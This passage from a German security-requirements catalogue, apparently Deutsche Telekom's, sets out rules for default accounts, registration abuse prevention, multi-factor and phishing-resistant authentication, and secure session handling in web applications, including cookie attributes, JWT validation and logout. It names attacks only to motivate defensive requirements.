Auf vielen Systemen existieren nach der initialen Installation vordefinierte, aber nicht genutzte Benutzerkonten (z. B. "Gast").

Diese vordefinierten Benutzerkonten müssen unmittelbar nach der initialen Installation gelöscht oder zumindest deaktiviert werden; sollten diese Maßnahmen nicht umsetzbar sein, muss das entsprechende Benutzerkonto für einen Fernzugriff gesperrt werden. In jedem Fall müssen auch deaktivierte oder gesperrte Benutzerkonten mit einem Authentisierungsmerkmal (z. B. einem Passwort oder einem SSH Key) versehen werden, so dass im Fall einer Fehlkonfiguration die unberechtigte Nutzung eines solchen Benutzerkontos verhindert wird.

Ausgenommen von der Anforderung, vordefinierte Benutzerkonten zu löschen oder zu deaktivieren, sind Benutzerkonten, die ausschließlich der internen Nutzung auf dem entsprechenden System dienen und die für die Funktionalität einer oder mehrerer Anwendungen des Systems notwendig sind. Auch für ein solches Benutzerkonto muss sichergestellt werden, dass ein Fernzugriff oder eine lokale Anmeldung nicht möglich ist und dass ein Benutzer des Systems ein solches Benutzerkonto nicht missbräuchlich nutzen kann.

Motivation: In einem Produkt standardmäßig vordefinierte Benutzerkonten sind typischerweise allgemein bekannt und können von einem Angreifer sehr gezielt für Brute-Force- und Wörterbuchangriffe ausgewählt werden. Werden diese Benutzerkonten in einem konkreten System gar nicht benötigt, stellt deren Existenz dann eine unnötige Angriffsfläche dar. Ein besonderes Risiko stellen vordefinierte Benutzerkonten dar, die ohne Passwort oder mit einem weithin bekannten Standardpasswort vorkonfiguriert sind. Solche Benutzerkonten können unmittelbar von einem Angreifer missbraucht werden, falls ihre Absicherung aufgrund der nicht weiter vorgesehenen Nutzung im konkreten System versäumt wurde.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.01-7/9.0

Es wird empfohlen, dass hierfür ein Double-Opt-in-Verfahren verwendet wird: Die Web-Anwendung sendet einen Bestätigungslink (oder ein Initialpasswort bzw. einen Aktivierungstoken) an die E-Mail-Adresse des neuen Benutzers. Erst nachdem der Benutzer die Registrierung über diesen Link bestätigt hat, schließt die Web-Anwendung die Registrierung ab.

Es kann zusätzlich die Anzahl der Registrierungen, die innerhalb einer bestimmten Zeit (zum Beispiel von einer IP-Adresse) durchgeführt werden können, begrenzt werden.

Captchas können hierfür aber auch verwendet werden: Ein Captcha ist ein Test zur Unterscheidung von Maschinen und Menschen. Die am häufigsten verwendeten Varianten sind Bild-Captchas, die aus einem Bild mit verzerrten Zahlen und Buchstaben bestehen. Wenn bei einer Registrierung der Inhalt eines Captchas erfolgreich in ein Textfeld übertragen wurde, kann die Web-Anwendung davon ausgehen, dass die Registrierung nicht automatisiert durchgeführt wurde. Hierbei ist aber zu beachten, dass diese Lösungen in der Regel nicht barrierefrei sind. Dies kann problematisch sein, insbesondere im Falle von Web-Anwendungen, die von Mitarbeitern genutzt werden sollen. Es gibt aber auch Varianten von barrierearmen Captchas. Beispiele hierfür sind Text-Captchas, die leicht lösbare Rechenaufgaben oder Wissensfragen stellen („Die Zahl 12 plus die Zahl 6 ergibt?“). Alternativ kann auch zusätzlich zum Bild-Captcha ein Audio-Captcha angeboten werden. Damit das Audio-Captcha nicht von einer Spracherkennung aufgelöst werden kann, wird meist eine verfremdete Stimme oder eine akustische Kulisse mit Umgebungslärm verwendet.

Motivation: Angreifer erstellen massenhaft Accounts, um diese missbräuchlich zu verwenden. SPAM-Versender automatisieren beispielsweise die Registrierung von E-Mail-Adressen und fügen bei der Verwendung dieser Accounts dem Betreiber massive Schäden zu.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

Req 38	Benutzerkonten müssen mit mindestens zwei Authentisierungsmerkmalen aus unterschiedlichen Faktoren geschützt werden.
--------	--

Sämtliche Benutzerkonten des Systems müssen vor einer unberechtigten Nutzung geschützt werden. Dies ist durch Verwendung von Authentisierungsmerkmalen umzusetzen, die eine eindeutige Identifizierung des legitimen Benutzers ermöglichen.

Authentisierungsmerkmale werden in übergeordneten Gruppen, sogenannten "Faktoren", differenziert:

- Faktor WISSEN: "etwas, das nur der legitime Benutzer weiss"
- Faktor BESITZ: "etwas, das nur der legitime Benutzer besitzt"
- Faktor INHÄRENZ: "etwas, das nur der legitime Benutzer ist"

Es müssen mindestens zwei Authentisierungsmerkmale miteinander kombiniert werden.

Diese müssen aus unterschiedlichen Faktoren stammen ("Multi-Faktor-Authentisierung"; kurz: "MFA").

Eine Kombination von Authentisierungsmerkmalen desselben Faktors (Beispiel: zwei unterschiedliche PINs) ist nicht zulässig.

Beispiele für zulässige Authentisierungsmerkmale

- aus dem Faktor WISSEN: PINs, Passphrases (Passwörter*)
- aus dem Faktor BESITZ: Smartcards, FIDO2 Level 2 Security Keys, Device-bound Passkeys, in einem TPM/HSM gespeicherte kryptografische Schlüssel, OTPs (One-Time Passwords) generiert in einer zum Einsatz in der Deutschen Telekom freigegebenen Authenticator App
- aus dem Faktor INHÄRENZ: biometrische Merkmale wie Fingerabdrucke, Iris- bzw. Retina-Scans, Gesichtserkennung

*) Wichtiger Hinweis zum Einsatz von Passwörtern

Passwörter müssen als Authentisierungsmerkmal strikt vermieden werden.

Sie sind nur dann zulässig, falls sicherere Alternativen nicht umgesetzt werden können.

Grundsätzlich nicht zulässig sind Authentisierungsmerkmale, die leicht gefälscht oder manipuliert werden können.

Dazu gehören:

- Rufnummern und Anrufer-IDs
- IP-Adressen
- geografische Standorte
- VPN-Zugehörigkeiten und Netzwerkinformationen
- Status von Clients, etwa von Arbeitsplatzsystemen oder mobilen Endgeräten

Hinweis zu technischen Benutzerkonten

Für den maschinellen Zugriff eingesetzte technische Benutzerkonten (auch unter dem Begriff "Machine-to-Machine" bzw. "M2M"-Konten bekannt) sind von der Verpflichtung zur Multi-Faktor-Authentisierung ausgenommen, da eine solche dort i.d.R. nicht umsetzbar ist.

Motivation: Benutzerkonten, die nicht über angemessene Authentisierungsmerkmale geschützt sind, können von einem Angreifer missbraucht werden, um unberechtigt auf ein System und die darauf gespeicherten Daten und Anwendungen zuzugreifen. Aufgrund vielfältiger gängiger Angriffsmethoden ist der Schutz von Benutzerkonten durch ein einzelnes Authentisierungsmerkmal mittlerweile als schwach zu bewerten, insbesondere, falls hier das klassische Passwort zum Einsatz kommt. Eine Kombination von Authentisierungsmerkmalen aus unterschiedlichen Faktoren erhöht die Sicherheit für Benutzerkonten signifikant.

MFA Kombination	Beschreibung	Anmerkung zur Anwendung
Telekom "myCard" plus PIN-Eingabe	1. Faktor: in Hardware implementiertes Zertifikat ("Besitz") 2. Faktor: PIN ("Wissen")	(keine)
FIDO2 Level 2 Security Key plus Fingerabdruck	1. Faktor: in Hardware gespeicherter Crypto-Schlüssel ("Besitz") 2. Faktor: Biometrisches Merkmal ("Inhärenz")	Die Biometrie-Funktion muss vorab konfiguriert werden, da der Biometrie-Sensor sonst nur als "Taste" funktioniert und somit der 2. Faktor ("Inhärenz") nicht gegeben wäre.
Device-bound Passkey in WH4B* auf Nucleus PC plus PIN	1. Faktor: in Hardware gespeicherter Crypto-Schlüssel ("Besitz") 2. Faktor: PIN ("Wissen")	(keine)
Device-bound Passkey in Secure Enclave auf iOS Device plus FaceID	1. Faktor: in Hardware gespeicherter Crypto-Schlüssel ("Besitz") 2. Faktor: Biometrisches Merkmal ("Inhärenz")	(keine)
Passwort plus freigegebene OTP App (z. B. MS Authenticator)	1. Faktor: Passwort ("Wissen") 2. Faktor: spezifisch generiertes One Time Password ("Besitz")	Passwörter sind nur dann zulässig, falls sicherere Alternativen nicht umgesetzt werden können. Die Synchronisation der Authenticator App über einen Clouddienst sowie das Teilen (z. B. über einen Passwortmanager) des OTP ist nicht zulässig.

*) WH4B: "Windows Hello for Business"

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-20/9.0

Req 39 Privilegierte Benutzerkonten müssen mit mindestens zwei Authentisierungsmerkmalen geschützt werden, die aus unterschiedlichen Faktoren stammen und erhöhte Resilienz gegen Phishing-Angriffe bieten.

Ein privilegiertes Benutzerkonto ist ein Benutzerkonto, welches über erweiterte Berechtigungen innerhalb eines Systems verfügt. Erweiterte Berechtigungen ermöglichen einen Zugriff auf Konfigurationseinstellungen, Funktionen oder Datenbestände, der regulären Benutzern des Systems nicht zu Verfügung steht. In direkter Abhängigkeit zu den besonderen Aufgaben, die mittels eines privilegierten Benutzerkontos innerhalb eines Systems wahrgenommen werden, können die zugewiesenen erweiterten Berechtigungen spezifisch limitiert sein oder einen vollständig uneingeschränkten Systemzugriff umfassen.

Beispiele für privilegierte Benutzerkonten:

- Konten für Administrations-, Wartungs- oder Entstörungsaufgaben
- Konten für Benutzer-Verwaltungsaufgaben (z. B. Anlegen/Löschen von Benutzern; Zuweisen von Berechtigungen; Passwort-Rücksetzungen)
- Konten, die zur Freigabe, Auslösung oder Unterbindung von geschäftskritischen Vorgängen berechtigt sind
- Konten mit Zugriff auf Daten, die im Interesse des DTAG-Konzerns, dessen Kunden oder der Öffentlichkeit als SCD (Sensitive Customer Data) eingestuft sind
- Konten, die in hohem Umfang auf lt. EU-DSGVO als „personenbezogen“ definierte Daten zugreifen können (z. B. Massenabruf von größeren Teilen oder des vollständigen Datenbestands)

Zum Schutz privilegierter Konten müssen mindestens zwei Authentisierungsmerkmale miteinander kombiniert werden.

Diese müssen aus unterschiedlichen Faktoren ("WISSEN", "BESITZ" oder "INHÄRENZ") stammen.

Eine Kombination von Authentisierungsmerkmalen desselben Faktors ist nicht zulässig.

Mindestens eines der Authentisierungsmerkmale darf nicht anfällig gegenüber Phishing-Angriffen sein.

Bei einem Phishing-Angriff wird der legitime Nutzer trickreich manipuliert, um seine Anmeldedaten dem Angreifer offenzulegen, beispielsweise mittels gefälschter Anmelde-Seiten. Ein Phishing-Angriff kann auch gegen eine Kombination aus mehreren Authentisierungsmerkmalen erfolgen.

Phishing-resiliente Authentisierungsmerkmale verhindern Angriffe anhand ihrer technischen Umsetzung. Diese Authentisierungsmerkmale nutzen kryptographische Verfahren und stellen eine starke Bindung zwischen dem Nutzer, dem Gerät und dem Dienst her. Sie erfordern während der Authentisierung zusätzlich eine manuelle Nutzerinteraktion, die nicht automatisiert werden kann; beispielsweise, einen Fingerabdruck-Scan an einem Hardware Token abzugeben.

Als nicht anfällig gegenüber Phishing-Angriffen gelten

- FIDO2 Level 2 Security Keys
- in Hardware implementierte Zertifikate

Wichtiger Hinweis zum Einsatz von Passwörtern

Passwörter müssen als Authentisierungsmerkmal strikt vermieden werden.

Sie sind nur dann zulässig, falls sicherere Alternativen nicht umgesetzt werden können.

Hinweis zu technischen Benutzerkonten

Für den maschinellen Zugriff eingesetzte technische Benutzerkonten (auch unter dem Begriff "Machine-to-Machine" bzw. "M2M"-Konten bekannt) sind von der Verpflichtung zur Multi-Faktor-Authentisierung ausgenommen, da eine solche dort i.d.R. nicht umsetzbar ist.

Motivation: Privilegierte Benutzerkonten stellen ein erhöhtes Risiko für die Sicherheit eines Systems dar. Kompromittiert ein Angreifer erfolgreich ein solches Benutzerkonto, erhält er weitreichende Berechtigungen, mit denen er das System oder Systemanteile unter seine Kontrolle bringen, die Systemfunktionen stören, verarbeitete Daten einsehen/manipulieren oder geschäftskritische Vorgänge beeinflussen kann. Die Kombination von mehreren Authentisierungsmerkmalen unterschiedlicher Art minimiert das Risiko der Kompromittierung eines Benutzerkontos bereits signifikant, jedoch muss für privilegierte Benutzerkonten in besonderem Maße auf Resilienz gegen Phishing-Angriffe geachtet werden. Die zu beobachtenden Phishing-Angriffe werden zunehmend trickreicher und für Nutzer schwerer zu erkennen, so dass eine Multifaktor-Authentifizierung ohne erhöhte Resilienz gegen Phishing nicht mehr als ausreichend für privilegierte Benutzerkonten zu bewerten ist.

Umsetzungsbeispiel: Beispiele für MFA mit erhöhter Resilienz gegen Phishing-Angriffe

MFA Kombination	Beschreibung	Anmerkung zur Anwendung
-----------------	--------------	-------------------------

Telekom "myCard" plus PIN-Eingabe	1. Faktor: in Hardware implementiertes Zertifikat ("Besitz") 2. Faktor: PIN ("Wissen")	(keine)
FIDO2 Level 2 Security Key plus Fingerabdruck	1. Faktor: in Hardware gespeicherter Crypto-Schlüssel ("Besitz") 2. Faktor: Biometrisches Merkmal ("Inhärenz")	Die Biometrie-Funktion muss vorab konfiguriert werden, da der Biometrie-Sensor sonst nur als "Taste" funktioniert und somit der 2. Faktor ("Inhärenz") nicht gegeben wäre.
FIDO2 Level 2 Security Key plus PIN-Eingabe	1. Faktor: in Hardware gespeicherter Crypto-Schlüssel ("Besitz") 2. Faktor: PIN ("Wissen")	(keine)

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.01-21/9.0

Req 40 Die Web-Anwendung muss eine erneute Authentisierung des Benutzers verlangen, wenn der Benutzer kritische Daten ändern oder kritische Aktionen auslösen will. Insbesondere muss die Web-Anwendung bei einer Passwortänderung die erneute, korrekte Eingabe des aktuellen Passworts (sowie die zweimalige Eingabe des neuen Passworts) verlangen.

Kritische Aktionen sind unter anderem die Änderung einer E-Mail-Adresse, die für die Passwortrücksetzung hinterlegt wurde, das Löschen des Kontos, das Ändern von kritischen Informationen eines Benutzerprofils (zum Beispiel einer Versandadresse) oder der Wechsel in eine Rolle mit zusätzlichen Rechten.

Es wird zudem empfohlen, den Benutzer zu informieren, wenn solche kritischen Aktionen durchgeführt werden oder wenn andere sicherheitskritische Ereignisse auftreten (wie beispielsweise mehrfache fehlerhafte Anmeldeversuche).

Motivation: Durch die erneute Abfrage des Passworts wird verhindert, dass ein Angreifer, der eine Session eines Opfers übernommen hat, auch noch dessen Passwort oder andere kritische Daten ändern kann.

Durch die zweimalige Eingabe des neuen Passworts wird verhindert, dass eine einmalige Fehleingabe dazu führt, dass der Benutzer sich aussperrt und ein neues Passwort anfordern muss.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-40/8.0

7. Schutz von Sitzungen

Req 41 Die Länge der Session-Identifizier der Web-Anwendung muss mindestens 120 Bit betragen. Alle hierbei relevanten Zeichen müssen nach dem Zufallsprinzip generiert werden.

Zeichenketten von mehr als 36 Dezimalziffern [0...9] oder Zeichenketten, die aus mehr als 20 Großbuchstaben [A...Z], Kleinbuchstaben [a...z] und Dezimalziffern [0...9] bestehen, erfüllen beispielsweise diese Anforderung.

Motivation: Durch statistische Analysen oder Brute-Force-Angriffe kann ein Angreifer versuchen, gültige Session-Identifizier zu ermitteln. Hat er Erfolg, kann er die Session der Opfer übernehmen. Dies kann verhindert werden, indem für die Web-Anwendung Session-Identifizier verwendet werden, die zufällig und komplex sind.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-41/8.0

Req 42 Falls stateless Session-/Access-Token (wie zum Beispiel JSON Web Token, JWT) eingesetzt werden, muss die Web-Anwendung Manipulationen, Replay-Angriffe oder andere Arten unrechtmäßiger Verwendung durch geeignete Maßnahmen verhindern.

Im Falle von JWT müssen diese beispielsweise über sichere kryptographische Methoden und Algorithmen integritätsgeschützt sein, vorzugsweise mittels kryptographischer Signaturen. Der Empfänger der JWT muss die Integrität entsprechend seiner eigenen Konfiguration/Anwendungslogik überprüfen (also nicht basierend auf den Header-Informationen des JWT) und insbesondere keine ungesicherten JWT mit „{“alg”:“none”}“ akzeptieren. Die Gültigkeitsdauer muss zudem so kurz wie möglich sein. Und die Token müssen grundsätzlich durch TLS geschützt sein.

Motivation: Es muss verhindert werden, dass ein Angreifer derartige Token missbräuchlich verwenden kann. Daher ist es notwendig, dass die Token sicher übertragen und restriktiv verifiziert werden. Jedoch sollte in diesem Zusammenhang grundsätzlich beachtet werden, dass Lösungen basierend auf JWT zwar möglicherweise vergleichsweise einfach zu realisieren sind, vor allem um „stateless“ Services zu realisieren, aber nicht für alle Arten von Web-Anwendungen geeignet sind, insbesondere weil sie mit einigen Problemstellungen verbunden sind, wie zum Beispiel mit der Frage der Speicherung der Token im Browser oder der Realisierung eines restriktiven serverseitigen Timeout- bzw. Logout-Mechanismus.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-42/8.0

Req 43 Um Session-Identifizier oder stateful/stateless (Session-)Token zu übertragen, darf die Web-Anwendung keine URL-Parameter verwenden.

Solche Identifizier bzw. Token dürfen ausschließlich außerhalb der URL übertragen werden, also in einem (Session-) Cookie oder alternativ beispielsweise in einem anderen HTTP-Header.

Motivation: Session-Cookies bieten den Vorteil, dass wichtige sicherheitsrelevante Eigenschaften durch die Web-Anwendung einfach definiert werden können und von den Browsern entsprechend gewährleistet werden (keine dau-

erhafte Speicherung, sichere Übertragung, kein Script-Zugriff, eingeschränkter Gültigkeitsbereich). Bei Verwendung anderer Mechanismen müssen diese Eigenschaften durch die jeweilige Implementierung sichergestellt werden.

Nicht zulässig ist die Verwendung von URL-Parametern: In dem Fall kann nicht ausgeschlossen werden, dass ein Nutzer eine verwendete URL inklusive gültigem Identifier kopiert und weitergibt. Zudem besteht die Gefahr, dass die Identifier über den „Referer“-Header an andere Web-Anwendungen gesendet werden. Und nicht zuletzt wird durch die Verwendung von Cookies oder HTTP-Headern die Gefahr minimiert, dass eine Web-Anwendung mittels Session-Fixation angegriffen werden kann: Bei einem solchen Angriff erstellt ein Angreifer eine Session und schiebt den entsprechenden Identifier einem Opfer unter. Dies erfolgt in der Regel durch einen Link, in dem der Identifier als URL-Parameter enthalten ist. Verwendet das Opfer diesen Identifier und authentisiert sich dann gegenüber der Web-Anwendung, kann der Angreifer in dieser laufenden Session dessen Identität annehmen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-43/8.0

Req 44	Ein Session-Identifier oder stateful/stateless (Session-)Token darf nicht persistent im Browser gespeichert werden.
--------	---

Motivation: Im Falle von Session-Cookies kann eine Web-Anwendung über das Attribut „expires“ oder das Attribut „max-age“ ein Ablaufdatum für ein Cookie setzen. In dem Fall handelt es sich aber um ein „persistentes Cookie“. Der Browser speichert persistente Cookies bis zum Ablaufdatum auf dem Endgerät des Benutzers. Jede Person mit Zugang zum jeweiligen Endgerät kann die persistenten Cookies auslesen. Dies kann in einem Internet-Café, bei anderen Arten von gemeinsamer Nutzung oder durch einen erfolgreichen Angriff geschehen. Cookies ohne Ablaufdatum sind nicht persistent, sie werden nicht dauerhaft gespeichert. Der Browser löscht diese Cookies, sobald er geschlossen wird.

Werden keine Session-Cookies verwendet, kann beispielsweise der Session Storage des Browsers verwendet werden, da dieser ebenfalls nicht persistent ist und die Inhalte beim Schließen des Browsers gelöscht werden. Hierbei muss aber beachtet werden, dass das Öffnen einer Webseite in einem neuen Tab oder Browserfenster eine neue Sitzung erzeugt. Im Local Storage des Browsers würden die Identifier dagegen persistent gespeichert werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-44/8.0

Req 45	Die Web-Anwendung muss im Session-Cookie das Attribut „secure“ setzen.
--------	--

Zusätzlich wird zum Schutz der Integrität eines Cookies empfohlen, Cookie-Namen mit dem Prefix „__Host-“ (oder alternativ „__Secure-“) zu verwenden.

Wenn die Web-Anwendung durchgängig den HTTP-Response-Header „Strict-Transport-Security“ setzt und somit sicherstellt, dass der Browser ausschließlich verschlüsselte Requests verschickt, ist es nicht mehr zwingend notwendig, das Attribut „secure“ zu setzen. Es wird aber dennoch als zusätzliche Sicherheitsmaßnahme empfohlen.

Motivation: Das Attribut „secure“ verhindert, dass der Browser Cookies unverschlüsselt versendet. Dies geschieht zum Beispiel bei unverschlüsselten Inhalten einer Web-Anwendung. Dies kann aber auch durch einen aktiven Angriff geschehen, bei dem ein Angreifer unverschlüsselte Links bzw. Referenzen injiziert oder präsentiert. Selbst wenn also eine Seite ausschließlich über HTTPS erreichbar ist, könnte eine vom Angreifer kontrollierte Seite den Browser des Op-

fers dazu veranlassen, einen unverschlüsselten Request zu stellen. Ein Angreifer könnte diesen Request abfangen und hätte Zugriff auf den Cookie. Wird das „secure“-Attribut gesetzt, ist dieser Angriff nicht erfolgreich: Unverschlüsselten HTTP-Requests fügt der Browser entsprechend gesicherte Cookies gar nicht erst hinzu.

Die Cookie-Prefixes sollen vor Cookie Injection bzw. Cookie Clobbering schützen: Auch eine unverschlüsselte HTTP-Response kann einen „secure“-Cookie setzen. Beispielsweise kann deshalb ein Man-in-the-Middle-Angreifer „secure“-Cookies setzen oder verändern. Oder ein Angreifer könnte Probleme bei Subdomains ausnutzen, wenn er zum Beispiel böse.beispiel.de kontrolliert und bei Requests auf diese Subdomain einen Cookie mit „domain=beispiel.de“ setzt oder wenn er eine XSS auf unsicher.beispiel.de findet und hierüber einen Cookie mit „domain=beispiel.de“ setzt. Über einen Prefix beim Cookie-Namen können zusätzliche Regeln zum Browserverhalten bestimmt werden (wenn der Browser diese Funktion unterstützt): Hat der Cookie-Namen einen Prefix „__Secure-“, wird ein kompatibler Browser diesen Cookie nur setzen, falls er von einer HTTPS-Response gesetzt wird und das „secure“-Flag gesetzt ist (Beispiel: Set-Cookie: __Secure-ID=123; Secure; Domain=example.com). Hat der Cookie-Namen einen Prefix „__Host-“, wird ein kompatibler Browser diesen Cookie nur setzen, falls er von einer HTTPS-Response gesetzt wird, das „secure“-Flag gesetzt ist, das „path“-Flag auf root („/“) gesetzt ist und das „domain“-Flag nicht gesetzt ist (Beispiel: Set-Cookie: __Host-ID=123; Secure; Path=/).

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-45/8.0

Req 46 Die Web-Anwendung muss im Session-Cookie das Attribut „HttpOnly“ setzen.

Motivation: Das Attribut „HttpOnly“ erzwingt nicht (wie es der Name suggeriert), dass ein Cookie nur über HTTP übertragen wird. Vielmehr verhindert es den Zugriff für JavaScript über die „document.cookie“-API. Deshalb verhindert es XSS-Angriffe auf den Cookie.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-46/8.0

Req 47 Die Web-Anwendung darf das Attribut „domain“ im Session-Cookie nicht setzen.

Das Attribut „domain“ gibt den Domain-Namen an, für den der Cookie gilt. Der Browser schickt den Cookie in allen Requests mit, die der Browser an diese Domain und deren Subdomains sendet. Dieses Attribut nicht zu setzen, ist die restriktivste Einstellung: In dem Fall wird als Default-Wert der Host-Name des Servers verwendet, der den Cookie gesetzt hat, und der Cookie wird nur an diese Domain gesendet, aber nicht an deren Subdomains.

Das Attribut „domain“ kann jedoch gesetzt werden, wenn auf der angegebenen Domain und allen deren Subdomains keine anderen Web-Anwendungen laufen, so dass ausgeschlossen ist, dass der Session-Cookie auch an fremde Web-Anwendungen gesendet wird.

Darüber hinaus wird generell empfohlen, dass Web-Anwendungen unterschiedlicher Kritikalität oder mit unterschiedlichem Sicherheitsniveau auch unter unterschiedlichen Domains betrieben werden. Ansonsten gefährden Schwachstellen der einen Web-Anwendung unter Umständen auch die Sicherheit der anderen Web-Anwendung.

Motivation: Eine restriktive Verwendung des „domain“-Attributs verhindert, dass der Session-Cookie an andere Web-Anwendungen geschickt wird. Dieses Attribut nicht zu setzen, ist die restriktivste Einstellung.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-47/8.0

Req 48	Die Web-Anwendung muss das Attribut „path“ im Session-Cookie so restriktiv setzen, dass der Cookie nicht an andere Web-Anwendungen auf dem gleichen Host gesendet wird.
--------	---

Motivation: Web-Anwendungen können über den gleichen Host-Namen verfügen, sich aber in unterschiedlichen Verzeichnissen befinden. Es muss daher sichergestellt werden, dass unterschiedliche Web-Anwendungen auf dem gleichen Host nicht die Cookies der jeweils anderen Anwendungen erhalten. Wird beim Setzen eines Cookies das Attribut „path“ angegeben, so ist er nur in diesem Verzeichnis und allen Unterverzeichnissen gültig. Das Attribut „path“ muss daher so gesetzt sein, dass keine andere Web-Anwendung den Session-Cookie erhält.

Wenn beispielsweise eine Web-Anwendung unter telekom.net/meineAnwendung/index.jsp einen Cookie mit der Pfadangabe „;path=/" setzt, wird der Cookie danach in allen Requests an die Domain telekom.net mitgesendet, ggf. auch an andere, weniger vertrauenswürdige Anwendungen, die im root oder in beliebigen anderen Verzeichnissen platziert wurden.

Wird die Pfadangabe jedoch auf „;path=/meineAnwendung/" gesetzt, wird der Cookie nur bei Requests an telekom.net/meineAnwendung/ gesendet (und auch an alle hierunter liegenden Unterverzeichnisse, aber nicht an darüber liegende Verzeichnisse). Das abschließende Slash-Zeichen darf nicht weggelassen werden, da der Cookie ansonsten auch an andere Verzeichnisse mit übereinstimmenden Namen gesendet wird, zum Beispiel an telekom.net/meineAnwendung-exploited.

Wenn keine Pfadangabe gemacht wird, verwendet der Browser als Default den Pfad des aktuellen HTTP-Requests, aufgrund dessen der Cookie gesetzt wurde.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-48/8.0

Req 49	Für ein Benutzerkonto darf nur eine Session zur selben Zeit aktiv sein.
--------	---

Eine zweite Anmeldung mit dem gleichen Benutzerkonto muss verhindert werden. Alternativ kann aber auch die zweite Anmeldung zugelassen werden; in dem Fall muss die ursprüngliche Session beendet werden. Diese Variante kann sinnvoll sein, um zu verhindern, dass ein Benutzerkonto zeitweilig blockiert wird, zum Beispiel durch Schließen oder Absturz des Browsers ohne vorherigen Logout.

Es wird empfohlen, dass die Web-Anwendung dem Benutzer eine Warnmeldung anzeigt, wenn er sich anmeldet, gleichzeitig aber bereits eine Session für sein Benutzerkonto aktiv ist. Dies erhöht die Wahrscheinlichkeit, dass Angriffe auf Accounts entdeckt werden.

Es gibt jedoch Web-Anwendungen, die explizit den Zugriff über diverse Kanäle (Web, Mobile, TV) vorsehen oder aus anderen Gründen Mehrfachanmeldungen erlauben. Es wird in solchen Ausnahmefällen empfohlen, dass der Benutzer dann die Möglichkeit hat, die anderen parallelen Sessions über eine entsprechende Funktion bewusst zu beenden, zum Beispiel bei einem Passwortwechsel.

Motivation: Wenn für ein Benutzerkonto mehrere Sessions gleichzeitig aktiv sind, kann das bedeuten, dass das Konto von unterschiedlichen Benutzern gleichzeitig verwendet wird oder dass hier ein erfolgreicher Angriff vorliegt.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unbemerkt durchführbare Angriffe

ID: 3.06-49/8.0

Req 50	Die Web-Anwendung muss über eine Funktion verfügen, die es dem angemeldeten Benutzer ermöglicht, sich jederzeit abzumelden.
--------	---

Motivation: Ein Benutzer muss die Möglichkeit haben, seine Session und somit seine Daten vor fremden Zugriff zu schützen. Eine gezielte Abmeldung dient dazu, eine Session zu beenden, um sicherzustellen, dass diese Session nicht von einem unberechtigten Benutzer fortgesetzt werden kann.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Abstreiten von durchgeführten Aktionen

ID: 3.06-50/8.0

Req 51	Falls ein Benutzer über ein Single-Sign-on-Verfahren (SSO) Zugang zu der Web-Anwendung erhalten hat und sich in der Web-Anwendung abmeldet, müssen beide Sessions beendet werden: sowohl die Session mit der Web-Anwendung als auch die Session mit dem SSO-Portal.
--------	---

